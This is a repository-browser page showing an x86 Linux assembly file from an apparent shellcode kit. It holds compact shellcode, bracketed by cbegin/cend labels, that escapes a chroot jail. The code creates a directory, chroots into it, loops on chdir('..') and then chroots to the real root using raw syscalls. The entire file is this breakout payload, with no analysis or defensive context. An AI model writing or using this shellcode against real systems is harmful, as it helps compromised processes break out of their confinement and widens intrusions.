summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/chroot.s
blob: dd7e878e59d3cd55b54bf36dca4e251d64e22ee1 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
	.globl	cbegin
	.globl	cend


cbegin:
/* mkdir AA.. */
	cdq
	movl	$0x73507350,	%ecx
	push	%eax
	push	$0x2e2e4141
	movl	%esp,		%ebx
	movb	$0x27,		%al
	int	$0x80

/* chroot AA.. */
	movb	$0x3d,		%al
	int	$0x80

/* chdir .. x 5 */
	addb	$0x2,		%bl

cd_loop:
	incb	%dl
	movb	$0xc,		%al
	int	$0x80
	cmp	$0x6a,		%dl
	jne	cd_loop

/* chroot . */
	incb	%bl
	movb	$0x3d,		%al
	int	$0x80
cend: